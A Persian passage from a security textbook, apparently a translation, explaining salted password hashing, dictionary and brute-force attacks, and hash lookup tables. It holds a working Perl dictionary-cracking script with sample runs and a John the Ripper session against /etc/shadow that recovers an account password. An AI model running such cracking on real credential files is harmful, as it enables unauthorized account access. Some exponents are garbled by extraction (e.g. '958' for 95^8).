ﻣﻘﺪار saltﺟﻬﺖ ﺗﺸﻮﯾﺶ ﻫﺮﭼﻪ ﺑﯿﺸﺘﺮ اﻟﮕﻮرﯾﺘﻢ ﺑﮑﺎر ﻣﯽ رود .ﻟﺬا اﮔﺮ ﻣﻘﺎدﯾﺮ saltﻣﺘﻔـﺎوﺗﯽ اﺳـﺘﻔﺎده ﺷـﻮﻧﺪ ،ﭼﻨـﺪﯾﻦ
ﻣﻘﺪار ﻣﺨﺘﻠﻒ ﻫﺶ ﺑﺮای ﯾﮏ ﻣﺘﻦ واﺿﺢ ﯾﮑﺴﺎن ﺗﻮﻟﯿﺪ ﻣﯽ ﺷﻮﻧﺪ .ﻣﻘﺪار ﻫـﺶ )ﮐـﻪ ﺷـﺎﻣﻞ ﻣﻘـﺪار saltاﺿـﺎﻓﻪ ﺷـﺪه ﺑـﻪ
اﺑﺘﺪای آن ﻧﯿﺰ اﺳﺖ( در ﻓﺎﯾﻞ ﭘﺴﻮرد ذﺧﯿﺮه ﻣﯽ ﺷﻮد .ﺑﻪ اﯾﻦ ﺻﻮرت اﮔﺮ ﻓﺎﯾﻞ ﭘﺴﻮرد ﺗﻮﺳﻂ ﻧﻔـﻮذﮔﺮ ﺑـﻪ ﺳـﺮﻗﺖ رود،
ﻣﻘﺎدﯾﺮ ﻫﺶ ﺑﯽ ﻓﺎﯾﺪه ﺧﻮاﻫﻨﺪ ﺑﻮد.
ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﻧﯿﺎز ﺑﻪ اﻋﺘﺒﺎر ﺳﻨﺠﯽ ﯾﮏ ﮐﺎرﺑﺮ ﻗﺎﻧﻮﻧﯽ 108ﺑﺎ اﺳﺘﻔﺎده از ﻫﺶِ ﭘﺴﻮرد ﺑﺎﺷﺪ ،ﻫﺶ ﻣﺮﺑـﻮط ﺑـﻪ ﮐـﺎرﺑﺮ در ﻓﺎﯾـﻞ
ﭘﺴﻮرد ﺟﺴﺘﺠﻮ ﻣﯿﺸﻮد .ﭘﯿﺎﻣﯽ ﺟﻬﺖ وارد ﮐﺮدن ﭘﺴﻮرد ﺑﺮای ﮐﺎرﺑﺮ ﻧﻤﺎﯾﺶ ﻣﯽ ﯾﺎﺑﺪ ،ﻣﻘﺪار اﺻﻠﯽ saltاز ﻓﺎﯾـﻞ ﭘـﺴﻮرد
اﺳﺘﺨﺮاج ﻣﯽ ﺷﻮد و ﻫﺮآﻧﭽﻪ ﮐﻪ ﮐﺎرﺑﺮ ﺗﺎﯾﭗ ﻣﯽ ﮐﻨﺪ ﺑﻪ ﻫﻤﺮاه ﻣﻘﺪار saltﺑﻪ ﺗﺎﺑﻊ ﯾﮏ ﻃﺮﻓﻪ ﻫﺶ ارﺳﺎل ﻣﯽ ﮔﺮدد .اﮔﺮ
ﻣﺘﻦ وارد ﺷﺪه در اﻋﻼن رﻣﺰﻋﺒﻮر ﺻﺤﯿﺢ ﺑﺎﺷﺪ ،ﺧﺮوﺟﯽ ﺗﺎﺑﻊ ﯾﮏ ﻃﺮﻓﻪ ﻫﺶ )ﻣﻘﺪار ﻫﺶ ﺗﻮﻟﯿﺪ ﺷـﺪه( ﺑـﺎ ﻣﻘـﺪار ﻫـﺶ
ﻣﻮﺟﻮد در ﻓﺎﯾﻞ ﭘﺴﻮرد ﯾﮑﺴﺎن ﺧﻮاﻫﺪ ﺑﻮد .اﯾﻦ روﻧﺪ ﺑـﺪون ﻧﯿـﺎز ﺑـﻪ ذﺧﯿـﺮه ﭘـﺴﻮرد ﺑـﻪ ﺻـﻮرت ﻣـﺘﻦ واﺿـﺢ ،اﻣﮑـﺎن
اﻋﺘﺒﺎرﺳﻨﺠﯽ را ﻓﺮاﻫﻢ ﻣﯽ آورد.
107
One-Way
108
Legitimate User
167
.4,6,1ﺣﻤﻼت ﻣﺒﺘﻨﯽ ﺑﺮ ﻟﻐﺖ ﻧﺎﻣﻪ )(Dictionary
اﻧﺪﮐﯽ ﻓﮑﺮ ﺑﻪ اﯾﻦ ﻧﺘﯿﺠﻪ ﻣﯽ اﻧﺠﺎﻣﺪ ﮐﻪ ﭘﺴﻮردﻫﺎی رﻣﺰﺷﺪه در ﻓﺎﯾﻞ ﭘﺴﻮرد آﻧﭽﻨﺎن ﻫﻢ ﺑـﻼ اﺳـﺘﻔﺎده ﻧﯿـﺴﺘﻨﺪ .از ﻟﺤـﺎظ
رﯾﺎﺿﯽ ﺑﺪﯾﻬﯽ اﺳﺖ ﮐﻪ ﻣﻌﮑﻮس ﮐﺮدن ﻫﺶ ﻏﯿﺮ ﻣﻤﮑﻦ اﺳﺖ ،اﻣﺎ اﯾﻦ اﻣﮑﺎن وﺟﻮد دارد ﺗﺎ ﺗﻤﺎم ﮐﻠﻤﺎت ﻣﻮﺟﻮد در ﯾـﮏ
ﻟﯿﺴﺖ ﭘﺴﻮرد ﯾﺎ ﻟﻐﺘﻨﺎﻣﻪ را ﺑﺎ اﺳﺘﻔﺎده از ﻣﻘﺪار saltﻣﺮﺑﻮط ﺑﻪ ﻫﺶ ﻣﻮرد ﻧﻈﺮ )ﻫﺶ ﻣﻮرد ﻧﻈﺮ ﺟﻬﺖ ﮐﺮک ﮐـﺮدن آن(،
ﻫﺶ ﮐﺮد ،ﺳﭙﺲ ﻧﺘﯿﺠﻪ را ﺑﺎ ﻫﺶ اﺻﻠﯽ ﻣﻘﺎﯾﺴﻪ ﻧﻤﻮد .اﮔﺮ ﻫﺶ ﻫﺎ ﻣﻄﺎﺑﻖ ﻫﻢ ﺑﺎﺷﻨﺪ ،ﻣﯽ ﺗﻮان ﻧﺘﯿﺠـﻪ ﮔﺮﻓـﺖ ﮐـﻪ ﮐﻠﻤـﻪ
ﻣﺘﻨﺎﻇﺮ ﻫﺶ ﺑﺪﺳﺖ آﻣﺪه در ﻟﻐﺘﻨﺎﻣﻪ ﻫﻤﺎن ﭘﺴﻮرد ﻣﺎ ﺑﻪ ﺣﺎﻟﺖ ﻣﺘﻦ واﺿﺢ اﺳﺖ.
ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺳﺎده ﺣﻤﻠﻪ-ﻟﻐﺖ ﻧﺎﻣﻪ را ﻣﯽ ﺗﻮان ﺑﻪ آﺳﺎﻧﯽ در ﭘﺮل ﻃﺮاﺣﯽ ﮐﺮد .اﺳﮑﺮﯾﭙﺖ ﭘﺮل زﯾﺮ ﮐﻠﻤﺎت را از اﺳﺘﺎﻧﺪارد
ورودی ﻣﯽ ﺧﻮاﻧﺪ ،ﺳﭙﺲ ﺗﻤﺎم آﻧﻬﺎ را ﺑﺎ ﻣﻘﺪار saltﻣﻨﺎﺳﺐ ﻫﺶ ﻣﯽ ﮐﻨﺪ .اﮔﺮ ﺗﻄﺎﺑﻘﯽ ﺑﯿﻦ ﻣﻘﺪار ﻫـﺶ ﺑﺪﺳـﺖ آﻣـﺪه و
ﻫﺶ اﺻﻠﯽ ﺑﺎﺷﺪ ،ﮐﻠﻤﻪ ﻣﺘﻨﺎﻇﺮ ﻧﯿﺰ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ و اﺳﮑﺮﯾﭙﺖ ﺧﺎﺗﻤﻪ ﻣﯽ ﯾﺎﺑﺪ.
File: crack.pl
#!/usr/bin/perl
# Get the hash to crack from the first command-line argument
;$hash = shift
;)$salt = substr($hash,0,2 # The salt is the first 2 chars
;"print "Cracking the hash '$hash' using words from standard input..\n
while(defined($in = <STDIN>)) # Read from standard input
{
;chomp $in # Remove the hard return
if(crypt($in, $salt) eq $hash) # If the hashes match...
{
print "Password is: $in\n"; # Print the password
;exit # and exit.
}
}
;"print "The password wasn't found in the words from standard input.\n
ﺧﺮوﺟﯽ زﯾﺮ اﺟﺮای اﯾﻦ اﺳﮑﺮﯾﭙﺖ ﭘﺮل را ﻧﺸﺎن ﻣﯽ دﻫﺪ:
';"$ perl -e '$hash = crypt("test", "je"); print "$hash\n
jeHEAX1m66RV.
$ cat /usr/share/dict/words | crack.pl jeHEAX1m66RV.
Cracking the hash 'jeHEAX1m66RV.' using words from standard input..
Password is: test
$ grep "^test$" /usr/share/dict/words
test
$
در اﯾﻦ ﻣﺜﺎل ﮐﻠﻤﺎت ﻣﻮﺟﻮد در /usr/share/dict/wordsدر اﺳﮑﺮﯾﭙﺖ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ .ﭼﻮن ﮐﻠﻤـﻪ " "testﭘـﺴﻮرد
اﺻﻠﯽ اﺳﺖ و ﻧﯿﺰ در ﻓﺎﯾﻞ wordsﻧﯿﺰ وﺟﻮد دارد ،ﻟﺬا ﻫﺶِ ﭘﺴﻮرد ﻧﻬﺎﯾﺘﺎ ﮐﺮک ﺧﻮاﻫﺪ ﺷﺪ .دﻟﯿﻞ اﯾﻦ ﻣﺴﺌﻠﻪ ﮐﻪ اﺳﺘﻔﺎده
از ﭘﺴﻮردﻫﺎﯾﯽ ﮐﻪ در ﻟﯿﺴﺖ ﻫﺎی ﭘﺴﻮرد ﯾﺎ ﻟﻐﺘﻨﺎﻣﻪ ﻫﺎ وﺟﻮد دارﻧﺪ )ﯾﺎ ﻣﺒﺘﻨـﯽ ﺑـﺮ آﻧﻬـﺎ ﻫـﺴﺘﻨﺪ( را ﯾـﮏ ﻋـﺎدت اﻣﻨﯿﺘـﯽ
ﺿﻌﯿﻒ ﻣﯽ داﻧﻨﺪ ﻧﯿﺰ روﺷﻦ ﺷﺪ.
ﻣﺸﮑﻞ اﯾﻦ ﻧﻮع ﺣﻤﻼت ﻧﯿﺰ اﯾﻦ اﺳﺖ ﮐﻪ اﮔﺮ ﭘﺴﻮرد اﺻﻠﯽ در ﻓﺎﯾﻞ ﻟﻐﺖ ﻧﺎﻣﻪ )دﯾﮑﺸﻨﺮی( ﻣﻮﺟﻮد ﻧﺒﺎﺷﺪ ،اﻣﮑـﺎن ﯾـﺎﻓﺘﻦ
ﭘﺴﻮرد ﻧﺨﻮاﻫﺪ ﺑﻮد .ﺑﺮای ﻣﺜﺎل ،اﮔﺮ ﯾﮏ ﮐﻠﻤﻪ ﻣﺎﻧﻨﺪ " "h4R%ﺑﻪ ﻋﻨـﻮان ﯾـﮏ ﭘـﺴﻮرد اﻧﺘﺨـﺎب ﺷـﻮد و اﯾـﻦ ﮐﻠﻤـﻪ در
دﯾﮑﺸﻨﺮی ﻣﻮرد اﺳﺘﻔﺎده ﻣﻮﺟﻮد ﻧﺒﺎﺷﺪ ،اﯾﻦ ﻧﻮع ﺣﻤﻼت ﻗﺎدر ﺑﻪ ﯾﺎﻓﺘﻦ آن ﻧﺨﻮاﻫﻨـﺪ ﺑـﻮد .اﯾـﻦ ﻣـﺴﺌﻠﻪ در زﯾـﺮ ﻧﻤﺎﯾـﺎن
اﺳﺖ:
';"$ perl -e '$hash = crypt("h4R%", "je"); print "$hash\n
jeMqqfIfPNNTE
$ cat /usr/share/dict/words | crack.pl jeMqqfIfPNNTE
Cracking the hash 'jeMqqfIfPNNTE' using words from standard input..
The password wasn't found in the words from standard input.
$
168
ﻓﺎﯾﻞ ﻫﺎی دﯾﮑﺸﻨﺮی ﺳﻔﺎرﺷﯽ 109را ﻣﯿﺘﻮان ﺑﺎ اﺳﺘﻔﺎده از زﺑﺎن ﻫﺎ ﻣﺨﺘﻠـﻒ ،ﺗﻐﯿﯿـﺮات اﺳـﺘﺎﻧﺪارد روی ﮐﻠﻤـﺎت )از ﻗﺒﯿـﻞ
ﺗﺒﺪﯾﻞ ﺣﺮوف ﺑﻪ ارﻗﺎم( ،اﺿﺎﻓﻪ ﮐﺮدن اﻋﺪاد ﺑﻪ اﻧﺘﻬﺎی ﻫﺮ ﮐﻠﻤﻪ ﯾﺎ ﻣﺴﺎﺋﻠﯽ از اﯾﻦ ﻗﺒﯿﻞ ﺳﺎﺧﺖ .اﮔﺮﭼـﻪ ﯾـﮏ دﯾﮑـﺸﻨﺮی
ﺑﺰرﮔﺘﺮ ﮐﻠﻤﺎت ﺑﯿﺸﺘﺮی را دارا اﺳﺖ ،اﻣﺎ ﺑﻪ ﻫﻤﺎن ﺗﻨﺎﺳﺐ ﻧﯿﺰ زﻣﺎن ﺑﯿﺸﺘﺮی ﺑﺮای ﭘﺮدازش آن ﻧﯿﺎز اﺳﺖ.
ﯾﮏ ﺣﻤﻠﻪ دﯾﮑﺸﻨﺮی ﮐﻪ ﻫﺮ ﺗﺮﮐﯿﺐ واﺣﺪ ﻣﻤﮑﻦ را اﻣﺘﺤﺎن ﮐﻨﺪ ،اﺻﻄﻼﺣﺎ ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ 110brute-forceﻣﯽ ﻧـﺎﻣﯿﻢ.
اﮔﺮﭼﻪ از ﻟﺤﺎظ ﻓﻨﯽ ،اﯾﻦ ﻧﻮع ﺣﻤﻼت ﻗﺎدر ﺑﻪ ﮐﺮک ﮐﺮدن ﻫﺮ ﭘﺴﻮرد ﻣﻤﮑﻦ ﻣﯽ ﺑﺎﺷﻨﺪ ،اﻣﺎ زﻣﺎن ﻓﻮق اﻟﻌﺎده زﯾﺎدی ﻻزم
اﺳﺖ.
ﺑﺎ 95ﮐﺎراﮐﺘﺮ ورودی ﻣﻤﮑﻦ ﺑﺮای ﭘﺴﻮردﻫﺎی ﺑﻪ ﺳﺒﮏ )( ،cryptﺗﻌﺪاد 958رﻣﺰﻋﺒﻮر ﺑﺮای ﯾـﮏ ﺟـﺴﺘﺠﻮی ﺟـﺎﻣﻊ در
ﺗﻤﺎم ﻫﺸﺖ ﮐﺎراﮐﺘﺮ وﺟﻮد ﺧﻮاﻫﺪ داﺷﺖ ﮐﻪ ﺣﺪودا ﻫﻔﺖ ﮐﺎدرﯾﻠﯿﻮن ﭘﺴﻮرد را ﺷﺎﻣﻞ ﻣﯽ ﺷـﻮد .اﯾـﻦ ﺗﻌـﺪاد ﺑـﻪ ﻣﺤـﺾ
اﺿﺎﻓﻪ ﺷﺪن ﮐﺎراﮐﺘﺮ دﯾﮕﺮی ﺑﻪ ﻃﻮل ﭘﺴﻮرد ،ﺑﻪ ﻃﻮر ﻗﺎﺑﻞ ﻣﻼﺣﻈـﻪ ای اﻓـﺰاﯾﺶ ﻣـﯽ ﯾﺎﺑـﺪ ،ﭼـﻮن ﺑـﺎ اﺿـﺎﻓﻪ ﺷـﺪن ﯾـﮏ
ﮐﺎراﮐﺘﺮ ﺑﻪ ﻃﻮل ﭘﺴﻮرد ،ﺗﻌﺪاد ﭘﺴﻮردﻫﺎی ﻣﻤﮑﻦ ﻧﯿﺰ ﺑﻪ ﻃﻮر ﺻﻌﻮدی اﻓﺰاﯾﺶ ﻣـﯽ ﯾﺎﺑﻨـﺪ .ﺑـﺎ در ﻧﻈـﺮ ﮔـﺮﻓﺘﻦ اﻣﺘﺤـﺎن
10,000ﭘﺴﻮرد در واﺣﺪ زﻣﺎن ،ﺗﻘﺮﯾﺒﺎ 22,875ﺳﺎل ﺟﻬﺖ اﻣﺘﺤﺎن ﺷﺪن ﺗﻤﺎم ﭘﺴﻮردﻫﺎ زﻣﺎن ﻻزم اﺳﺖ .ﺗﻌﻤـﯿﻢ اﯾـﻦ
ﻓﺮآﯾﻨﺪ ﺑﺮ ﻣﺎﺷﯿﻦ ﻫﺎ و ﭘﺮدازﻧﺪه ﻫﺎی ﺑﯿﺸﺘﺮ ﯾﮏ راه ﻣﻤﮑﻦ ﺟﻬﺖ ﻓﺎﺋﻖ آﻣﺪن ﺑﺮ اﯾﻦ ﻣﺸﮑﻞ اﺳﺖ .اﻟﺒﺘﻪ در اﯾﻦ ﺻـﻮرت
ﻓﻘﻂ اﻓﺰاﯾﺶ ﺳﺮﻋﺖ ﺑﻪ ﺻﻮرت ﺧﻄﯽ ) (linearرا ﺧﻮاﻫﯿﻢ داﺷﺖ .اﮔﺮ ﻫﺰار ﻣﺎﺷﯿﻦ در اﺧﺘﯿﺎر داﺷﺘﻪ ﺑﺎﺷﯿﻢ ﮐﻪ ﻫﺮ ﮐﺪام
ﺗﻌﺪاد 10,000ﭘﺴﻮرد را در واﺣﺪ زﻣﺎن اﻣﺘﺤﺎن ﮐﻨﻨﺪ ،آﻧﮕﺎه اﻣﺘﺤﺎن ﮐﺮدن ﺗﻤﺎم ﭘﺴﻮردﻫﺎ ﻫﻨﻮز ﺣﺪود 22ﺳـﺎل وﻗـﺖ
ﻧﯿﺎز دارد .در ﺻﻮرت اﺿﺎﻓﻪ ﺷﺪن ﮐﺎراﮐﺘﺮ دﯾﮕﺮی ﺑﻪ ﻃﻮل ﭘﺴﻮرد ،ﺳﺮﻋﺖ ﺧﻄﯽ ﺑﻮﺟﻮد آﻣﺪه ﮐﻪ ﺑﺎ اﺿﺎﻓﻪ ﮐﺮدن ﻣﺎﺷﯿﻦ
ﻫﺎی اﺿﺎﻓﯽ ﺣﺎﺻﻞ ﺷﺪ ﺑﻪ ﺻﻮرت ﺑﺤﺮاﻧﯽ ) (marginalﺑﺎ رﺷﺪ ﻓﻀﺎی ﮐﻠﯿﺪ ﻣﻘﺎﯾﺴﻪ ﻣﯽ ﺷﻮد.
ﺧﻮﺷﺒﺨﺘﺎﻧﻪ ﻣﻌﮑﻮس رﺷﺪ ﻧﻤﺎﯾﯽ ﻧﯿﺰ ﺻﺤﯿﺢ اﺳﺖ .ﺑﺎ ﮐﻢ ﺷﺪن ﮐﺎراﮐﺘﺮﻫﺎ از ﻃﻮل ﭘﺴﻮرد ،ﺗﻌﺪاد ﭘﺴﻮردﻫﺎی ﻣﻤﮑـﻦ ﻧﯿـﺰ
ﺑﻪ ﻃﻮر ﻧﻤﺎﯾﯽ ﮐﺎﻫﺶ ﻣﯽ ﯾﺎﺑﺪ .ﺑﻪ اﯾﻦ ﺻﻮرت ﯾﮏ ﭘﺴﻮرد ﭼﻬﺎر ﮐﺎراﮐﺘﺮی ﺗﻨﻬﺎ دارای 954ﭘﺴﻮرد ﻣﻤﮑﻦ در ﻓﻀﺎی ﺧﻮد
اﺳﺖ .اﯾﻦ ﻓﻀﺎی ﮐﻠﯿﺪ ﺗﻨﻬﺎ ﺣﺪود 84ﻣﯿﻠﯿﻮن ﭘﺴﻮرد ﻣﻤﮑﻦ را ﺷﺎﻣﻞ ﻣـﯽ ﺷـﻮد ﮐـﻪ ﺑـﺎ ﻓـﺮض اﻣﺘﺤـﺎن ﺷـﺪن 10,000
ﭘﺴﻮرد در واﺣﺪ زﻣﺎن ،ﻣﯽ ﺗﻮان ﺑﻪ ﺻﻮرت ﺟـﺎﻣﻊ آﻧـﺮا در ﯾـﮏ دوره زﻣـﺎﻧﯽ دو ﺳـﺎﻋﺘﻪ ﮐـﺮک ﮐـﺮد .ﯾﻌﻨـﯽ ﺣﺘـﯽ اﮔـﺮ
ﭘﺴﻮردی ﻣﺎﻧﻨﺪ " "h4R%در ﻫﯿﭻ دﯾﮑﺸﻨﺮی وﺟﻮد ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ ،ﻣﯽ ﺗﻮان آﻧﺮا در ﯾﮏ دوره زﻣﺎﻧﯽ ﻣﻌﻘﻮل ﮐﺮک ﮐﺮد.
ﺑﻪ اﯾﻦ ﺻﻮرت ﻋﻼوه ﺑﺮ اﺟﺘﻨﺎب از اﻧﺘﺨﺎب ﭘﺴﻮردﻫﺎﯾﯽ ﮐﻪ در دﯾﮑﺸﻨﺮی ﻫﺎ وﺟﻮد دارﻧﺪ ،ﻃﻮل ﭘﺴﻮرد ﻧﯿﺰ ﺣﺎﺋﺰ اﻫﻤﯿـﺖ
اﺳﺖ .ﭼﻮن ﭘﯿﭽﯿﺪﮔﯽ در ﻓﻀﺎی ﭘﺴﻮردﻫﺎ ﺑﻪ ﺻﻮرت ﻧﻤﺎﯾﯽ اﻓﺰاﯾﺶ ﻣﯽ ﯾﺎﺑﺪ ،ﻟﺬا دو ﺑﺮاﺑﺮ ﮐﺮدن اﻧﺪازه ﭘـﺴﻮرد و ﺗﻮﻟﯿـﺪ
ﯾﮏ ﭘﺴﻮرد ﻫﺸﺖ ﮐﺎراﮐﺘﺮی ،ﺗﻌﺪاد ﭘﺴﻮردﻫﺎ و ﻫﻤﭽﻨﯿﻦ زﻣﺎن ﻻزم ﺑﺮای ﮐﺮک ﮐﺮدن آﻧﻬﺎ را ﺑـﻪ ﺻـﻮرت ﻧﻤـﺎﯾﯽ رﺷـﺪ
ﻣﯽ دﻫﺪ .در ﻧﺘﯿﺠﻪ زﻣﺎن ﻻزم ﺑﺮای ﮐﺮک ﮐﺮدن ﯾﮏ ﭘﺴﻮرد ﻫﺸﺖ ﮐﺎراﮐﺘﺮی ﺑﻪ ﯾﮏ دوره زﻣﺎﻧﯽ ﻧﺎﻣﻌﻘﻮل و ﺑﺴﯿﺎر زﯾﺎد
رﺷﺪ ﭘﯿﺪا ﻣﯽ ﮐﻨﺪ )ﺧﺎﺻﯿﺖ ﻧﻤﺎﯾﯽ ﺗﻮاﺑﻊ(.
Solar Designerﯾﮏ ﺑﺮﻧﺎﻣﻪ ﮐﺮک-ﭘﺴﻮرد ﺑﺎ ﻧﺎم John the Ripperرا ﺗﻮﺳﻌﻪ داده ﮐﻪ ﻫﻢ ﻗﺎﺑﻠﯿﺖ ﮐـﺎر ﺑـﻪ ﺻـﻮرت
ﺣﻤﻠـــﻪ-دﯾﮑـــﺸﻨﺮی و ﻫـــﻢ ﺑـــﻪ ﺻـــﻮرت ﺣﻤﻠـــﻪ ﺟـــﺎﻣﻊ brute-forceرا دارد .اﯾـــﻦ ﺑﺮﻧﺎﻣـــﻪ ﻣﻌـــﺮوف از آدرس
http://openwall.com/john/ﻗﺎﺑﻞ دﺳﺘﺮس اﺳﺖ.
# john
John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer
109
Customized Dictionary Files
110
Exhaustive Brute-Force Attack
169
-single "single crack" mode
-wordfile:FILE -stdin wordlist mode, read words from FILE or stdin
-rules enable rules for wordlist mode
-incremental[:MODE] incremental mode [using section MODE]
-external:MODE external mode or word filter
-stdout[:LENGTH] no cracking, just write words to stdout
-restore[:FILE] restore an interrupted session [from FILE]
-session:FILE set session file name to FILE
-status[:FILE] print status of a session [from FILE]
-makechars:FILE make a charset, FILE will be overwritten
-show show cracked passwords
-test perform a benchmark
-users:[-]LOGIN|UID[,..] load this (these) user(s) only
-groups:[-]GID[,..] load users of this (these) group(s) only
-shells:[-]SHELL[,..] load users with this (these) shell(s) only
-salts:[-]COUNT load salts with at least COUNT passwords only
-format:NAME force ciphertext format NAME
(DES/BSDI/MD5/BF/AFS/LM)
-savemem:LEVEL enable memory saving, at LEVEL 1..3
# john /etc/shadow
Loaded 44 passwords with 44 different salts (FreeBSD MD5 [32/32])
guesses: 0 time: 0:00:00:19 8% (1) c/s: 248 trying: orez8
guesses: 0 time: 0:00:00:59 13% (1) c/s: 242 trying: darkcube[
guesses: 0 time: 0:00:04:09 55% (1) c/s: 236 trying: ghost93
guesses: 0 time: 0:00:06:29 78% (1) c/s: 237 trying: ereiamjh9999984
guesses: 0 time: 0:00:07:29 90% (1) c/s: 238 trying: matrix1979
guesses: 0 time: 0:00:07:59 94% (1) c/s: 238 trying: kyoorius1919
guesses: 0 time: 0:00:08:09 95% (1) c/s: 238 trying: jigga9979
guesses: 0 time: 0:00:08:39 0% (2) c/s: 238 trying: qwerty
guesses: 0 time: 0:00:14:49 1% (2) c/s: 239 trying: dolphins
guesses: 0 time: 0:00:16:49 3% (2) c/s: 240 trying: Michelle
guesses: 0 time: 0:00:18:19 4% (2) c/s: 240 trying: Sadie
guesses: 0 time: 0:00:23:19 5% (2) c/s: 239 trying: kokos
guesses: 0 time: 0:00:48:09 12% (2) c/s: 233 trying: fugazifugazi
guesses: 0 time: 0:01:02:19 16% (2) c/s: 239 trying: MONSTER
guesses: 0 time: 0:01:32:09 23% (2) c/s: 237 trying: legend7
testing7 (ereiamjh)
guesses: 1 time: 0:01:37:29 24% (2) c/s: 237 trying: molly9
Session aborted
#
." اﺳﺖtesting7" " دارای ﭘﺴﻮردereiamjh" در اﯾﻦ ﺧﺮوﺟﯽ واﺿﺢ اﺳﺖ ﮐﻪ اﮐﺎﻧﺖ
اﮔﺮ ﺗﻤﺎم. ﺑﺰرگ اﺳﺖ111(HLT) ﻧﻈﺮﯾﻪ ﺟﺎﻟﺐ دﯾﮕﺮ ﺟﻬﺖ ﮐﺮک ﮐﺮدن ﭘﺴﻮرد در اﺳﺘﻔﺎده از ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ
،ﻫﺶ ﺑﺮای ﺗﻤﺎم ﭘﺴﻮردﻫﺎ ﻣﻤﮑﻦ از ﻗﺒﻞ ﻣﺤﺎﺳﺒﻪ ﺷﺪه و در ﻣﺤﻠﯽ در ﯾﮏ ﺳﺎﺧﺘﻤﺎن داده ای ﻗﺎﺑﻞ ﺟﺴﺘﺠﻮ ذﺧﯿـﺮه ﺷـﻮد
ﺑﺎ در ﻧﻈﺮ ﮔﺮﻓﺘﻦ ﯾـﮏ.ﮐﺮک ﺷﺪن ﭘﺴﻮرد ﺑﻪ اﻧﺪازه زﻣﺎن ﻣﻮرد ﻧﯿﺎز ﺟﻬﺖ ﺟﺴﺘﺠﻮی آن ﺳﺎﺧﺘﻤﺎن داده زﻣﺎن ﻣﯽ ﻃﻠﺒﺪ
( ﻣﻮﺟﻮد درentry) ﺑﺮاﺑﺮ ﺑﺎ ﺗﻌﺪاد اﻗﻼمN ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪO(log2 N) زﻣــﺎن ﻣــﻮرد ﻧــﯿﺎز ﺑﺮاﺑﺮ ﺑﺎ،ﺟﺴﺘﺠﻮی دودوﯾﯽ
O(8 log2 ﻟـﺬا اﯾـﻦ روش در ﺣـﺪود، ﻣﯽ ﺑﺎﺷﺪ958 ﺑﺮاﺑﺮ ﺑﺎN ، ﮐﺎراﮐﺘﺮی8 ﭼﻮن در ﻣﻮرد ﭘﺴﻮردﻫﺎی.ﺟﺪول اﺳﺖ
. ﮐﺎر ﺧﻮد را ﺗﻤﺎم ﺧﻮاﻫﺪ ﮐﺮد ﮐﻪ زﻣﺎن ﺳﺮﯾﻌﯽ اﺳﺖ95)
ﺑﻌـﻼوه ﻃﺮاﺣـﯽ.ﺑﻬﺮﺣﺎل ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ ﻣﺎﻧﻨﺪ آن ﺑﻪ ﺻـﺪﻫﺰار ﺗﺮاﺑﺎﯾـﺖ ﻓـﻀﺎ ﺟﻬـﺖ ذﺧﯿـﺮه ﻣﻔـﺎد ﻧﯿـﺎز دارد
ﻧﯿـﺰ در ﺧـﻮرsalt اﻣـﺎ ﻣﻘـﺪار، اﯾﻦ ﻧﻮع از ﺣﻤﻼت را ﻧﯿﺎزﻣﻨﺪ رﺳﯿﺪﮔﯽ ﺑﯿﺸﺘﺮی ﻣـﯽ ﺑﯿﻨـﺪ،اﻟﮕﻮرﯾﺘﻢ ﻫﺶ ﮐﺮدن ﭘﺴﻮرد
ﻟـﺬا ﺑـﺎ، ﺑﻪ ﻫﺶ ﻫﺎی ﭘﺴﻮرد ﻣﺘﻔﺎوﺗﯽ ﺗﺒﺪﯾﻞ ﻣﯽ ﺷـﻮﻧﺪ،salt ﭼﻮن ﭼﻨﺪ ﭘﺴﻮرد ﻣﺘﻦ واﺿﺢ ﺑﺎ ﻣﻘﺎدﯾﺮ ﻣﺨﺘﻠﻒ.ﺗﻮﺟﻪ اﺳﺖ
111
Hash Look-up Table
170
ﻫﺮ ﻣﻘﺪار saltﺑﺎﯾﺴﺘﯽ ﺟﺪول ﻣﺮاﺟﻌﻪ ﺟﺪاﮔﺎﻧﻪ ای ﺗﻬﯿﻪ ﺷﻮد .ﺑﺎ ﺗﺎﺑﻊ )( cryptﺗﻌﺪاد 4,096ﻣﻘـﺪار saltﻣﻤﮑـﻦ وﺟـﻮد
دارد .ﺑﻪ اﯾﻦ ﺻﻮرت ﺣﺘﯽ ﺗﻬﯿﻪ ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ ﺑﺮای ﯾﮏ ﻓﻀﺎی ﮐﻠﯿﺪ ﮐﻮﭼﮑﺘﺮ )ﻣﺎﻧﻨﺪ ﺗﻤﺎم ﭘﺴﻮردﻫﺎی 4ﮐﺎراﮐﺘﺮی
ﻣﻤﮑﻦ( ﻧﯿﺰ ﻏﯿﺮ ﻋﻤﻠﯽ ﻣﯽ ﺷﻮد .ﻓﻀﺎی ذﺧﯿﺮه ای ﻣﻮرد ﻧﯿﺎز ﺟﻬﺖ ﻧﮕﻬﺪاری ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ واﺣﺪ ،ﺑﺮای ﯾﮏ ﻣﻘـﺪار
ﺛﺎﺑﺖ saltو ﺗﻤﺎم ﭘﺴﻮردﻫﺎی ﻣﻤﮑﻦ 4ﮐﺎراﮐﺘﺮی ﺣﺪودا 1ﮔﯿﮕﺎﺑﺎﯾﺖ اﺳﺖ ،اﻣﺎ ﺑـﻪ دﻟﯿـﻞ ﻓﺮاواﻧـﯽ ﻣﻘـﺎدﯾﺮ ،saltﺗﻌـﺪاد
4,096ﻫﺶ ﻣﻤﮑﻦ ﺑﺮای ﯾﮏ ﭘﺴﻮرد ﻣﺘﻦ واﺿﺢ واﺣﺪ ﻣﻮرد ﻧﯿﺎز اﺳﺖ ﮐﻪ ﺧﻮد ﻣﺴﺘﻠﺰم اﯾﺠﺎد 4,096ﺟـﺪول ﺟﺪاﮔﺎﻧـﻪ
